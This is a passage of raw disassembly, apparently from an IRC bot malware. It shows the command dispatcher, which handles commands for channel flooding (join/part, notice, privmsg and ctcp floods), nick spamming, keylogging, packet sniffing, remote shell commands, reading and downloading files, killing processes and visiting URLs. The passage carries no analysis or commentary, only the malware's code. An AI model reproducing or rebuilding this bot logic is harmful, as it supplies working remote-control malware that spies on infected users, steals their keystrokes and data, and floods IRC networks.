[ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2660882h push eax push offset unk_42B570 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 2670678h push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B508 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B504 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4EC call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call near ptr 2670678h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B468 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B454 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 2670678h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B428 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3B0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3B0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B350 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B250 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B220 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj call near ptr 2660882h nop push eax push offset dword_42B1E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B17C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B154 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B124 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2660882h push eax push offset unk_42B0E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B078 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B050 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B024 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call near ptr 266006Bh nop imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 2660882h push eax push offset dword_42AFF0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF98 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF4C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF20 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AF00 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AEDC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_C58] imul 